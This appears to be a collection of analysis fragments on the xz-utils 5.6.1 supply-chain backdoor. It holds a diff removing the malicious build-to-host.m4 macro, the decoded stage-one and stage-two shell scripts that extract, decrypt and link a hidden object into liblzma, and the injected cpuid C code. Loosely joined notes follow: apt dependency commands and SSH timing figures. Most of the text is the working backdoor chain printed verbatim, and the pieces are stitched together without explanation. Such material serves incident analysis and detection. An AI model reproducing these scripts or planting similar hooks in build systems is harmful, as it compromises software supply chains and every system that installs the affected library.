--- xz-5.6.1/m4/build-to-host.m4	2024-03-09 16:16:40.000000000 +0800
+++ /usr/share/aclocal/build-to-host.m4	2024-03-24 00:05:36.082517994 +0800
@@ -1,4 +1,4 @@
-# build-to-host.m4 serial 30
+# build-to-host.m4 serial 3
 dnl Copyright (C) 2023-2024 Free Software Foundation, Inc.
 dnl This file is free software; the Free Software Foundation
 dnl gives unlimited permission to copy and/or distribute it,
@@ -37,7 +37,6 @@

   dnl Define somedir_c.
   gl_final_[$1]="$[$1]"
-  gl_[$1]_prefix=`echo $gl_am_configmake | sed "s/.*\.//g"`
   dnl Translate it from build syntax to host syntax.
   case "$build_os" in
     cygwin*)
@@ -59,40 +58,14 @@
   if test "$[$1]_c_make" = '\"'"${gl_final_[$1]}"'\"'; then
     [$1]_c_make='\"$([$1])\"'
   fi
-  if test "x$gl_am_configmake" != "x"; then
-    gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
-  else
-    gl_[$1]_config=''
-  fi
-  _LT_TAGDECL([], [gl_path_map], [2])dnl
-  _LT_TAGDECL([], [gl_[$1]_prefix], [2])dnl
-  _LT_TAGDECL([], [gl_am_configmake], [2])dnl
-  _LT_TAGDECL([], [[$1]_c_make], [2])dnl
-  _LT_TAGDECL([], [gl_[$1]_config], [2])dnl
   AC_SUBST([$1_c_make])
-
-  dnl If the host conversion code has been placed in $gl_config_gt,
-  dnl instead of duplicating it all over again into config.status,
-  dnl then we will have config.status run $gl_config_gt later, so it
-  dnl needs to know what name is stored there:
-  AC_CONFIG_COMMANDS([build-to-host], [eval $gl_config_gt | $SHELL 2>/dev/null], [gl_config_gt="eval \$gl_[$1]_config"])
 ])

 dnl Some initializations for gl_BUILD_TO_HOST.
 AC_DEFUN([gl_BUILD_TO_HOST_INIT],
 [
-  dnl Search for Automake-defined pkg* macros, in the order
-  dnl listed in the Automake 1.10a+ documentation.
-  gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null`
-  if test -n "$gl_am_configmake"; then
-    HAVE_PKG_CONFIGMAKE=1
-  else
-    HAVE_PKG_CONFIGMAKE=0
-  fi
-
   gl_sed_double_backslashes='s/\\/\\\\/g'
   gl_sed_escape_doublequotes='s/"/\\"/g'
-  gl_path_map='tr "\t \-_" " \t_\-"'
 changequote(,)dnl
   gl_sed_escape_for_make_1="s,\\([ \"&'();<>\\\\\`|]\\),\\\\\\1,g"
 changequote([,])dnl

sed "r\n" ./tests/files/bad-3-corrupt_lzma2.xz | tr "\t \-_" " \t_\-" | xz -d  2> /dev/null

####Hello####
#?U??$?
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
eval `grep ^srcdir= config.status`
if test -f ../../config.status;then
eval `grep ^srcdir= ../../config.status`
srcdir="../../$srcdir"
fi
export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh
####World####

xz -dc ./tests/files/good-large_compressed.lzma| \
eval $i| \
tail -c +31233| \
tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377" | \
xz -F raw --lzma1 -dc

P="-fPIC -DPIC -fno-lto -ffunction-sections -fdata-sections"
C="pic_flag=\" $P\""
O="^pic_flag=\" -fPIC -DPIC\"$"
R="is_arch_extension_supported"
x="__get_cpuid("
p="good-large_compressed.lzma"
U="bad-3-corrupt_lzma2.xz"
[ ! $(uname)="Linux" ] && exit 0
eval $zrKcVq
if test -f config.status; then
    eval $zrKcSS
    eval $(grep ^LD=\'\/ config.status)
    eval $(grep ^CC=\' config.status)
    eval $(grep ^GCC=\' config.status)
    eval $(grep ^srcdir=\' config.status)
    eval $(grep ^build=\'x86_64 config.status)
    eval $(grep ^enable_shared=\'yes\' config.status)
    eval $(grep ^enable_static=\' config.status)
    eval $(grep ^gl_path_map=\' config.status)
    vs=$(grep -broaF '~!:_ W' $srcdir/tests/files/ 2>/dev/null)
    if test "x$vs" != "x" >/dev/null 2>&1; then
        f1=$(echo $vs | cut -d: -f1)
        if test "x$f1" != "x" >/dev/null 2>&1; then
            start=$(expr $(echo $vs | cut -d: -f2) + 7)
            ve=$(grep -broaF '|_!{ -' $srcdir/tests/files/ 2>/dev/null)
            if test "x$ve" != "x" >/dev/null 2>&1; then
                f2=$(echo $ve | cut -d: -f1)
                if test "x$f2" != "x" >/dev/null 2>&1; then
                    [ ! "x$f2" = "x$f1" ] && exit 0
                    [ ! -f $f1 ] && exit 0
                    end=$(expr $(echo $ve | cut -d: -f2) - $start)
                    eval $(cat $f1 | tail -c +${start} | head -c +${end} | tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377" | xz -F raw --lzma2 -dc)
                fi
            fi
        fi
    fi
    eval $zrKccj
    if ! grep -qs '\["HAVE_FUNC_ATTRIBUTE_IFUNC"\]=" 1"' config.status >/dev/null 2>&1; then
        exit 0
    fi
    if ! grep -qs 'define HAVE_FUNC_ATTRIBUTE_IFUNC 1' config.h >/dev/null 2>&1; then
        exit 0
    fi
    if test "x$enable_shared" != "xyes"; then
        exit 0
    fi
    if ! (echo "$build" | grep -Eq "^x86_64" >/dev/null 2>&1) && (echo "$build" | grep -Eq "linux-gnu$" >/dev/null 2>&1); then
        exit 0
    fi
    if ! grep -qs "$R()" $srcdir/src/liblzma/check/crc64_fast.c >/dev/null 2>&1; then
        exit 0
    fi
    if ! grep -qs "$R()" $srcdir/src/liblzma/check/crc32_fast.c >/dev/null 2>&1; then
        exit 0
    fi
    if ! grep -qs "$R" $srcdir/src/liblzma/check/crc_x86_clmul.h >/dev/null 2>&1; then
        exit 0
    fi
    if ! grep -qs "$x" $srcdir/src/liblzma/check/crc_x86_clmul.h >/dev/null 2>&1; then
        exit 0
    fi
    if test "x$GCC" != 'xyes' >/dev/null 2>&1; then
        exit 0
    fi
    if test "x$CC" != 'xgcc' >/dev/null 2>&1; then
        exit 0
    fi
    LDv=$LD" -v"
    if ! $LDv 2>&1 | grep -qs 'GNU ld' >/dev/null 2>&1; then
        exit 0
    fi
    if ! test -f "$srcdir/tests/files/$p" >/dev/null 2>&1; then
        exit 0
    fi
    if ! test -f "$srcdir/tests/files/$U" >/dev/null 2>&1; then
        exit 0
    fi
    if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64"; then
        eval $zrKcst
        j="^ACLOCAL_M4 = \$(top_srcdir)\/aclocal.m4"
        if ! grep -qs "$j" src/liblzma/Makefile >/dev/null 2>&1; then
            exit 0
        fi
        z="^am__uninstall_files_from_dir = {"
        if ! grep -qs "$z" src/liblzma/Makefile >/dev/null 2>&1; then
            exit 0
        fi
        w="^am__install_max ="
        if ! grep -qs "$w" src/liblzma/Makefile >/dev/null 2>&1; then
            exit 0
        fi
        E=$z
        if ! grep -qs "$E" src/liblzma/Makefile >/dev/null 2>&1; then
            exit 0
        fi
        Q="^am__vpath_adj_setup ="
        if ! grep -qs "$Q" src/liblzma/Makefile >/dev/null 2>&1; then
            exit 0
        fi
        M="^am__include = include"
        if ! grep -qs "$M" src/liblzma/Makefile >/dev/null 2>&1; then
            exit 0
        fi
        L="^all: all-recursive$"
        if ! grep -qs "$L" src/liblzma/Makefile >/dev/null 2>&1; then
            exit 0
        fi
        m="^LTLIBRARIES = \$(lib_LTLIBRARIES)"
        if ! grep -qs "$m" src/liblzma/Makefile >/dev/null 2>&1; then
            exit 0
        fi
        u="AM_V_CCLD = \$(am__v_CCLD_\$(V))"
        if ! grep -qs "$u" src/liblzma/Makefile >/dev/null 2>&1; then
            exit 0
        fi
        if ! grep -qs "$O" libtool >/dev/null 2>&1; then
            exit 0
        fi
        eval $zrKcTy
        b="am__test = $U"
        sed -i "/$j/i$b" src/liblzma/Makefile || true
        d=$(echo $gl_path_map | sed 's/\\/\\\\/g')
        b="am__strip_prefix = $d"
        sed -i "/$w/i$b" src/liblzma/Makefile || true
        b="am__dist_setup = \$(am__strip_prefix) | xz -d 2>/dev/null | \$(SHELL)"
        sed -i "/$E/i$b" src/liblzma/Makefile || true
        b="\$(top_srcdir)/tests/files/\$(am__test)"
        s="am__test_dir=$b"
        sed -i "/$Q/i$s" src/liblzma/Makefile || true
        h="-Wl,--sort-section=name,-X"
        if ! echo "$LDFLAGS" | grep -qs -e "-z,now" -e "-z -Wl,now" >/dev/null 2>&1; then
            h=$h",-z,now"
        fi
        j="liblzma_la_LDFLAGS += $h"
        sed -i "/$L/i$j" src/liblzma/Makefile || true
        sed -i "s/$O/$C/g" libtool || true
        k="AM_V_CCLD = @echo -n \$(LTDEPS); \$(am__v_CCLD_\$(V))"
        sed -i "s/$u/$k/" src/liblzma/Makefile || true
        l="LTDEPS='\$(lib_LTDEPS)'; \\\\\n\
    export top_srcdir='\$(top_srcdir)'; \\\\\n\
    export CC='\$(CC)'; \\\\\n\
    export DEFS='\$(DEFS)'; \\\\\n\
    export DEFAULT_INCLUDES='\$(DEFAULT_INCLUDES)'; \\\\\n\
    export INCLUDES='\$(INCLUDES)'; \\\\\n\
    export liblzma_la_CPPFLAGS='\$(liblzma_la_CPPFLAGS)'; \\\\\n\
    export CPPFLAGS='\$(CPPFLAGS)'; \\\\\n\
    export AM_CFLAGS='\$(AM_CFLAGS)'; \\\\\n\
    export CFLAGS='\$(CFLAGS)'; \\\\\n\
    export AM_V_CCLD='\$(am__v_CCLD_\$(V))'; \\\\\n\
    export liblzma_la_LINK='\$(liblzma_la_LINK)'; \\\\\n\
    export libdir='\$(libdir)'; \\\\\n\
    export liblzma_la_OBJECTS='\$(liblzma_la_OBJECTS)'; \\\\\n\
    export liblzma_la_LIBADD='\$(liblzma_la_LIBADD)'; \\\\\n\
sed rpath \$(am__test_dir) | \$(am__dist_setup) >/dev/null 2>&1"
        sed -i "/$m/i$l" src/liblzma/Makefile || true
        eval $zrKcHD
    fi
elif (test -f .libs/liblzma_la-crc64_fast.o) && (test -f .libs/liblzma_la-crc32_fast.o); then
    vs=$(grep -broaF 'jV!.^%' $top_srcdir/tests/files/ 2>/dev/null)
    if test "x$vs" != "x" >/dev/null 2>&1; then
        f1=$(echo $vs | cut -d: -f1)
        if test "x$f1" != "x" >/dev/null 2>&1; then
            start=$(expr $(echo $vs | cut -d: -f2) + 7)
            ve=$(grep -broaF '%.R.1Z' $top_srcdir/tests/files/ 2>/dev/null)
            if test "x$ve" != "x" >/dev/null 2>&1; then
                f2=$(echo $ve | cut -d: -f1)
                if test "x$f2" != "x" >/dev/null 2>&1; then
                    [ ! "x$f2" = "x$f1" ] && exit 0
                    [ ! -f $f1 ] && exit 0
                    end=$(expr $(echo $ve | cut -d: -f2) - $start)
                    eval $(cat $f1 | tail -c +${start} | head -c +${end} | tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377" | xz -F raw --lzma2 -dc)
                fi
            fi
        fi
    fi
    eval $zrKcKQ
    if ! grep -qs "$R()" $top_srcdir/src/liblzma/check/crc64_fast.c; then
        exit 0
    fi
    if ! grep -qs "$R()" $top_srcdir/src/liblzma/check/crc32_fast.c; then
        exit 0
    fi
    if ! grep -qs "$R" $top_srcdir/src/liblzma/check/crc_x86_clmul.h; then
        exit 0
    fi
    if ! grep -qs "$x" $top_srcdir/src/liblzma/check/crc_x86_clmul.h; then
        exit 0
    fi
    if ! grep -qs "$C" ../../libtool; then
        exit 0
    fi
    if ! echo $liblzma_la_LINK | grep -qs -e "-z,now" -e "-z -Wl,now" >/dev/null 2>&1; then
        exit 0
    fi
    if echo $liblzma_la_LINK | grep -qs -e "lazy" >/dev/null 2>&1; then
        exit 0
    fi
    N=0
    W=0
    Y=$(grep "dnl Convert it to C string syntax." $top_srcdir/m4/gettext.m4)
    eval $zrKcjv
    if test -z "$Y"; then
        N=0
        W=88664
    else
        N=88664
        W=0
    fi
    xz -dc $top_srcdir/tests/files/$p | eval $i | LC_ALL=C sed "s/\(.\)/\1\n/g" | LC_ALL=C awk 'BEGIN{FS="\n";RS="\n";ORS="";m=256;for(i=0;i<m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<8192;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (NF<1?RS:$1)];i=(i+1)%m;a=c[i];j=(j+a)%m;b=c[j];c[i]=b;c[j]=a;k=c[(a+b)%m];printf "%c",(v+k)%m}' | xz -dc --single-stream | ((head -c +$N > /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true
    if ! test -f liblzma_la-crc64-fast.o; then
        exit 0
    fi
    cp .libs/liblzma_la-crc64_fast.o .libs/liblzma_la-crc64-fast.o || true
    V='#endif\n#if defined(CRC32_GENERIC) && defined(CRC64_GENERIC) && defined(CRC_X86_CLMUL) && defined(CRC_USE_IFUNC) && defined(PIC) && (defined(BUILDING_CRC64_CLMUL) || defined(BUILDING_CRC32_CLMUL))\nextern int _get_cpuid(int, void*, void*, void*, void*, void*);\nstatic inline bool _is_arch_extension_supported(void) { int success = 1; uint32_t r[4]; success = _get_cpuid(1, &r[0], &r[1], &r[2], &r[3], ((char*) __builtin_frame_address(0))-16); const uint32_t ecx_mask = (1 << 1) | (1 << 9) | (1 << 19); return success && (r[2] & ecx_mask) == ecx_mask; }\n#else\n#define _is_arch_extension_supported is_arch_extension_supported'
    eval $yosA
    if sed "/return is_arch_extension_supported()/ c\return _is_arch_extension_supported()" $top_srcdir/src/liblzma/check/crc64_fast.c |
        sed "/include \"crc_x86_clmul.h\"/a \\$V" |
        sed "1i # 0 \"$top_srcdir/src/liblzma/check/crc64_fast.c\"" 2>/dev/null |
        $CC $DEFS $DEFAULT_INCLUDES $INCLUDES $liblzma_la_CPPFLAGS $CPPFLAGS $AM_CFLAGS $CFLAGS -r liblzma_la-crc64-fast.o -x c - $P -o .libs/liblzma_la-crc64_fast.o 2>/dev/null; then
        cp .libs/liblzma_la-crc32_fast.o .libs/liblzma_la-crc32-fast.o || true
        eval $BPep
        if sed "/return is_arch_extension_supported()/ c\return _is_arch_extension_supported()" $top_srcdir/src/liblzma/check/crc32_fast.c |
            sed "/include \"crc32_arm64.h\"/a \\$V" |
            sed "1i # 0 \"$top_srcdir/src/liblzma/check/crc32_fast.c\"" 2>/dev/null |
            $CC $DEFS $DEFAULT_INCLUDES $INCLUDES $liblzma_la_CPPFLAGS $CPPFLAGS $AM_CFLAGS $CFLAGS -r -x c - $P -o .libs/liblzma_la-crc32_fast.o; then
            eval $RgYB
            if $AM_V_CCLD$liblzma_la_LINK -rpath $libdir $liblzma_la_OBJECTS $liblzma_la_LIBADD; then
                if test ! -f .libs/liblzma.so; then
                    mv -f .libs/liblzma_la-crc32-fast.o .libs/liblzma_la-crc32_fast.o || true
                    mv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || true
                fi
                rm -fr .libs/liblzma.a .libs/liblzma.la .libs/liblzma.lai .libs/liblzma.so* || true
            else
                mv -f .libs/liblzma_la-crc32-fast.o .libs/liblzma_la-crc32_fast.o || true
                mv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || true
            fi
            rm -f .libs/liblzma_la-crc32-fast.o || true
            rm -f .libs/liblzma_la-crc64-fast.o || true
        else
            mv -f .libs/liblzma_la-crc32-fast.o .libs/liblzma_la-crc32_fast.o || true
            mv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || true
        fi
    else
        mv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || true
    fi
    rm -f liblzma_la-crc64-fast.o || true
fi
eval $DHLd

#define BUILDING_CRC64_CLMUL
#include "crc_x86_clmul.h"
#endif
#if defined(CRC32_GENERIC) && defined(CRC64_GENERIC) &&                        \
    defined(CRC_X86_CLMUL) && defined(CRC_USE_IFUNC) && defined(PIC) &&        \
    (defined(BUILDING_CRC64_CLMUL) || defined(BUILDING_CRC32_CLMUL))
extern int _get_cpuid(int, void *, void *, void *, void *, void *);
static inline bool _is_arch_extension_supported(void) {
  int success = 1;
  uint32_t r[4];
  success = _get_cpuid(1, &r[0], &r[1], &r[2], &r[3],
                       ((char *)__builtin_frame_address(0)) - 16);
  const uint32_t ecx_mask = (1 << 1) | (1 << 9) | (1 << 19);
  return success && (r[2] & ecx_mask) == ecx_mask;
}
#else
#define _is_arch_extension_supported is_arch_extension_supported

static __inline int __get_cpuid (unsigned int __leaf, unsigned int *__eax,
                                 unsigned int *__ebx, unsigned int *__ecx,
                                 unsigned int *__edx)

Signed-off-by: Random J Developer <random@developer.example.org>

sudo apt-cache rdepends xz-utils

sudo apt install apt-rdepends
sudo apt-rdepends -r xz-utils

before:
nonexistant@...alhost: Permission denied (publickey).

before:
real	0m0.299s
user	0m0.202s
sys	0m0.006s

after:
nonexistant@...alhost: Permission denied (publickey).

real	0m0.807s
user	0m0.202s
sys	0m0.006s